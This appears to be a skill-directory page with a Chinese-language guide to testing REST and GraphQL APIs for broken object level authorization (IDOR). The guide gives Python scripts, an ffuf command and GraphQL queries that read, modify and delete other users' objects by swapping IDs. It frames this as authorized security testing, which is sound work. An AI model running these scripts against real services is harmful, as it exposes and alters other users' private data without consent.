testing-api-for-broken-object-level-authorization

测试REST和GraphQL API中的越权对象访问(BOLA/IDOR)漏洞,即已认证用户通过操纵API请求中的对象标识符 来访问或修改属于其他用户的资源。测试人员拦截API调用,识别对象ID参数(数字ID、UUID、slug), 并系统性地替换为其他用户的ID,以确定服务器是否执行了对象级授权。 对应OWASP API安全Top 10 2023 API1(越权对象访问)。

9 stars

Best use case

testing-api-for-broken-object-level-authorization is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

测试REST和GraphQL API中的越权对象访问(BOLA/IDOR)漏洞,即已认证用户通过操纵API请求中的对象标识符 来访问或修改属于其他用户的资源。测试人员拦截API调用,识别对象ID参数(数字ID、UUID、slug), 并系统性地替换为其他用户的ID,以确定服务器是否执行了对象级授权。 对应OWASP API安全Top 10 2023 API1(越权对象访问)。

Teams using testing-api-for-broken-object-level-authorization should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/testing-api-for-broken-object-level-authorization/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/testing-api-for-broken-object-level-authorization/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/testing-api-for-broken-object-level-authorization/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How testing-api-for-broken-object-level-authorization Compares

Feature / Agenttesting-api-for-broken-object-level-authorizationStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

测试REST和GraphQL API中的越权对象访问(BOLA/IDOR)漏洞,即已认证用户通过操纵API请求中的对象标识符 来访问或修改属于其他用户的资源。测试人员拦截API调用,识别对象ID参数(数字ID、UUID、slug), 并系统性地替换为其他用户的ID,以确定服务器是否执行了对象级授权。 对应OWASP API安全Top 10 2023 API1(越权对象访问)。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 测试API越权对象访问漏洞

## 适用场景

- 评估在URL路径、查询参数或请求体中使用对象标识符的REST或GraphQL API
- 执行OWASP API安全Top 10评估,必须测试API1:2023(BOLA)
- 测试多租户SaaS应用,确保不同租户的用户无法访问彼此的数据
- 验证API端点是否在认证之外还执行了对象级授权检查
- 在添加新端点后评估是否一致应用了授权中间件

**不适用**于未获API所有者书面授权的情况。BOLA测试涉及访问或尝试访问其他用户的数据,需要明确许可。

## 前置条件

- 书面授权,指明目标API端点和测试范围
- 至少两个具有不同权限级别和不同数据集的测试账户
- 配置为拦截代理的Burp Suite Professional或OWASP ZAP
- 每个测试账户的认证令牌(JWT、会话Cookie、API密钥)
- API文档(OpenAPI/Swagger规范)或端点枚举访问权限
- Python 3.10+,安装 `requests` 库用于脚本化测试
- 已安装Autorize Burp扩展用于自动化BOLA检测

## 工作流程

### 步骤1:API端点发现和对象ID映射

枚举所有API端点,识别引用对象的参数:

**从OpenAPI/Swagger规范:**
```bash
# 下载并解析OpenAPI规范
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool

# 提取所有含路径参数的端点
curl -s https://target-api.example.com/api/docs/swagger.json | \
  python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
    for method, details in methods.items():
        if method in ('get','post','put','patch','delete'):
            params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
            if params:
                print(f'{method.upper()} {path} -> params: {params}')
"
```

**从Burp Suite流量:**
1. 以用户A身份浏览应用,使用所有涉及数据创建和检索的功能
2. 在Burp中,前往Target > Site Map并过滤API路径(如 `/api/v1/`、`/graphql`)
3. 查找模式:`/api/v1/users/{id}`、`/api/v1/orders/{order_id}`、`/api/v1/documents/{doc_uuid}`
4. 记录对象ID格式:连续整数(可预测)、UUID(不易预测)或编码值

**对象ID类型分类:**

| ID类型 | 示例 | 可预测性 | BOLA风险 |
|--------|------|----------|----------|
| 连续整数 | `/orders/1042` | 高 - 递增/递减 | 严重 |
| UUID v4 | `/orders/550e8400-e29b-41d4-a716-446655440000` | 低 - 随机 | 中(若泄露) |
| 编码/哈希 | `/orders/base64encodedvalue` | 中 - 解码并预测 | 高 |
| 复合ID | `/users/42/orders/1042` | 高 - 多个ID需替换 | 严重 |
| Slug | `/profiles/john-doe` | 中 - 猜测用户名 | 高 |

### 步骤2:用已认证用户捕获基线请求

捕获用户A和用户B的合法请求:

```python
import requests

BASE_URL = "https://target-api.example.com/api/v1"

# 用户A凭据
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}

# 用户B凭据
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}

# 步骤1:识别用户A的对象
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"]  # 例如 1001

user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]]  # 例如 [5001, 5002]

# 步骤2:识别用户B的对象
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"]  # 例如 1002

user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]]  # 例如 [5003, 5004]

print(f"用户A(ID: {user_a_id}): 订单 {user_a_order_ids}")
print(f"用户B(ID: {user_b_id}): 订单 {user_b_order_ids}")
```

### 步骤3:BOLA测试 - 水平权限提升

使用用户A的认证尝试访问用户B的对象:

```python
import json

results = []

# 测试1:用用户A的令牌访问用户B的个人资料
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
    "test": "访问其他用户个人资料",
    "endpoint": f"GET /users/{user_b_id}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code == 200,
    "data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})

# 测试2:用用户A的令牌访问用户B的订单
for order_id in user_b_order_ids:
    resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
    results.append({
        "test": f"访问其他用户订单 {order_id}",
        "endpoint": f"GET /orders/{order_id}",
        "auth": "User A",
        "status": resp.status_code,
        "vulnerable": resp.status_code == 200
    })

# 测试3:用用户A的令牌修改用户B的订单
resp = requests.patch(
    f"{BASE_URL}/orders/{user_b_order_ids[0]}",
    headers=user_a_headers,
    json={"status": "cancelled"}
)
results.append({
    "test": "修改其他用户订单",
    "endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# 测试4:用用户A的令牌删除用户B的资源
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
    "test": "删除其他用户订单",
    "endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# 打印结果
for r in results:
    status = "漏洞存在" if r["vulnerable"] else "安全"
    print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
```

### 步骤4:高级BOLA技术

测试不那么明显的BOLA模式:

```python
# 技术1:参数污染 - 同时发送两个ID
resp = requests.get(
    f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
    headers=user_a_headers
)
print(f"参数污染: {resp.status_code}")

# 技术2:JSON请求体对象ID覆盖
resp = requests.post(
    f"{BASE_URL}/orders/details",
    headers=user_a_headers,
    json={"order_id": user_b_order_ids[0]}
)
print(f"请求体ID覆盖: {resp.status_code}")

# 技术3:ID数组 - 在批量请求中包含其他用户的ID
resp = requests.post(
    f"{BASE_URL}/orders/batch",
    headers=user_a_headers,
    json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"批量ID包含: {resp.status_code}, 返回了 {len(resp.json().get('orders',[]))} 个订单")

# 技术4:针对连续ID的数字ID操纵
for offset in range(-5, 6):
    test_id = user_a_order_ids[0] + offset
    if test_id not in user_a_order_ids:
        resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
        if resp.status_code == 200:
            owner = resp.json().get("user_id", "unknown")
            if str(owner) != str(user_a_id):
                print(f"BOLA: 订单 {test_id} 属于用户 {owner},但用户A可访问")

# 技术5:嵌套资源路径中替换对象ID
resp = requests.get(
    f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
    headers=user_a_headers
)
print(f"嵌套资源BOLA: {resp.status_code}")

# 技术6:方法切换 - GET可能被阻断但PUT被允许
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
    resp = requests.request(
        method,
        f"{BASE_URL}/users/{user_b_id}/settings",
        headers=user_a_headers,
        json={"notifications": False} if method in ('PUT', 'PATCH') else None
    )
    if resp.status_code not in (401, 403, 405):
        print(f"方法 {method} 访问其他用户设置: {resp.status_code}")
```

### 步骤5:使用Autorize(Burp Suite)进行自动化BOLA检测

配置Autorize进行自动化检测:

1. 从Burp Suite Professional的BApp商店安装Autorize
2. 在Autorize选项卡中,粘贴用户B的认证Cookie或请求头
3. 配置拦截过滤器:
   - 包含:`.*\/api\/.*`(仅API路径)
   - 排除:`.*\.(js|css|png|jpg)$`(跳过静态资源)
4. 设置授权检测器:
   - 若用户A和用户B之间响应长度或状态码不同,则添加相应条件
   - 如果用户A对用户B的资源得到403/401则标记为"已强制执行"
   - 如果用户A得到200并返回用户B的数据则标记为"已绕过"
5. 以用户A身份浏览应用;Autorize自动用用户B的令牌重放每个请求
6. 查看Autorize结果表:
   - 绿色 = 授权已强制执行(安全)
   - 红色 = 授权被绕过(BOLA漏洞)
   - 橙色 = 需要人工审查(响应不明确)

### 步骤6:GraphQL BOLA测试

```graphql
# 使用node/ID中继模式测试GraphQL查询中的BOLA
# 用户A通过全局中继ID查询用户B的订单
query {
  node(id: "T3JkZXI6NTAwMw==") {  # "Order:5003"的Base64编码(用户B的订单)
    ... on Order {
      id
      totalAmount
      shippingAddress {
        street
        city
      }
      items {
        productName
        quantity
      }
    }
  }
}

# 通过关联关系测试嵌套对象访问
query {
  user(id: "1002") {  # 用户B的ID
    email
    phoneNumber
    orders {
      edges {
        node {
          id
          totalAmount
          paymentMethod {
            lastFourDigits
          }
        }
      }
    }
  }
}
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **BOLA(越权对象访问)** | OWASP API1:2023 - API不验证已认证用户是否有权限访问请求引用的特定对象 |
| **IDOR(不安全的直接对象引用)** | 密切相关的术语,应用程序使用用户可控的输入直接访问对象而不进行授权检查 |
| **水平权限提升** | 通过操纵对象标识符访问属于同一权限级别其他用户的资源 |
| **垂直权限提升** | 访问限制于更高权限级别的资源或功能(如普通用户访问管理员端点) |
| **对象ID枚举** | 通过分析ID格式(连续整数、UUID模式、编码值)预测有效的对象标识符 |
| **Autorize** | Burp Suite扩展,通过用不同用户令牌重放请求来自动化授权测试 |

## 工具和系统

- **Burp Suite Professional**:拦截代理,用于捕获和操纵API请求,配合Autorize扩展自动化BOLA测试
- **OWASP ZAP**:开源替代方案,带访问控制测试插件用于授权边界测试
- **Autorize**:Burp扩展,通过用不同用户上下文重放请求自动检测授权强制执行情况
- **Postman**:API测试平台,用于跨集合使用不同认证令牌构造和重放请求
- **ffuf**:Web模糊测试工具,可大规模枚举对象ID:`ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"`

## 常见场景

### 场景:电商API BOLA评估

**背景**:某电商平台为其移动应用提供REST API。API对订单、用户和地址使用连续整数ID。提供了两个测试账户:普通客户(用户A,ID 1001)和另一个客户(用户B,ID 1002)。

**方法**:
1. 从`/api/docs`的Swagger规范映射所有端点:识别47个端点,其中23个接受对象ID
2. 捕获用户A对自己资源的请求:个人资料、订单、地址、支付方式、愿望清单
3. 在所有23个端点中系统性地将用户A的对象ID替换为用户B的ID
4. 发现`GET /api/v1/orders/{id}`无论所有权如何都返回任意订单(读取BOLA)
5. 发现`PATCH /api/v1/addresses/{id}`允许修改任意用户的地址(写入BOLA)
6. 发现`GET /api/v1/users/{id}/payment-methods`泄露任意用户的支付卡末四位
7. 测试批量端点`POST /api/v1/orders/export`——接受订单ID数组并导出所有订单而不进行所有权检查
8. 验证`DELETE /api/v1/orders/{id}`对非自有订单正确返回403(授权已强制执行)

**注意事项**:
- 仅测试GET请求,未发现PUT/PATCH/DELETE方法中允许数据修改或删除的BOLA
- 假设UUID可以防止BOLA——UUID可预测性较低,但可能通过API响应、日志或URL参数泄露
- 未测试嵌套资源路径——父资源可能检查了授权,但子资源没有
- 遗漏接受ID数组的批量/批处理端点中的BOLA
- 未考虑不同API版本(v1与v2)可能有不同的授权实现

## 输出格式

```
## 发现:订单API中存在越权对象访问(BOLA)漏洞

**ID**: API-BOLA-001
**严重性**: 高(CVSS 7.5)
**OWASP API**: API1:2023 - 越权对象访问
**受影响端点**:
  - GET /api/v1/orders/{id}
  - PATCH /api/v1/addresses/{id}
  - GET /api/v1/users/{id}/payment-methods
  - POST /api/v1/orders/export

**描述**:
该API在订单检索、地址修改、支付方式查看或订单导出端点上
未强制执行对象级授权。已认证用户可通过替换请求中的对象ID
来访问或修改任意其他用户的资源。连续整数ID使枚举变得轻而易举。

**概念验证**:
1. 以用户A(ID 1001)身份认证: POST /api/v1/auth/login
2. 检索用户A的订单: GET /api/v1/orders/5001 -> 200 OK(合法)
3. 访问用户B的订单: GET /api/v1/orders/5003 -> 200 OK(BOLA - 返回完整订单详情)
4. 修改用户B的地址: PATCH /api/v1/addresses/2002 -> 200 OK(BOLA - 地址已更改)

**影响**:
- 可读取所有850,000+条客户订单,包括收货地址和订单内容
- 可写入任意客户的收货地址,实现包裹重定向
- 暴露所有客户的部分支付卡数据

**修复建议**:
1. 实现对象级授权中间件,验证已认证用户拥有所请求的资源
2. 在数据访问层使用授权检查: `WHERE order.user_id = authenticated_user.id`
3. 用UUID替换连续整数ID以降低可预测性(纵深防御,不能单独作为修复方案)
4. 在CI/CD流水线中为每个接受对象ID的端点添加授权测试
5. 实现按用户速率限制以减慢枚举尝试
```

Related Skills

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-host-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。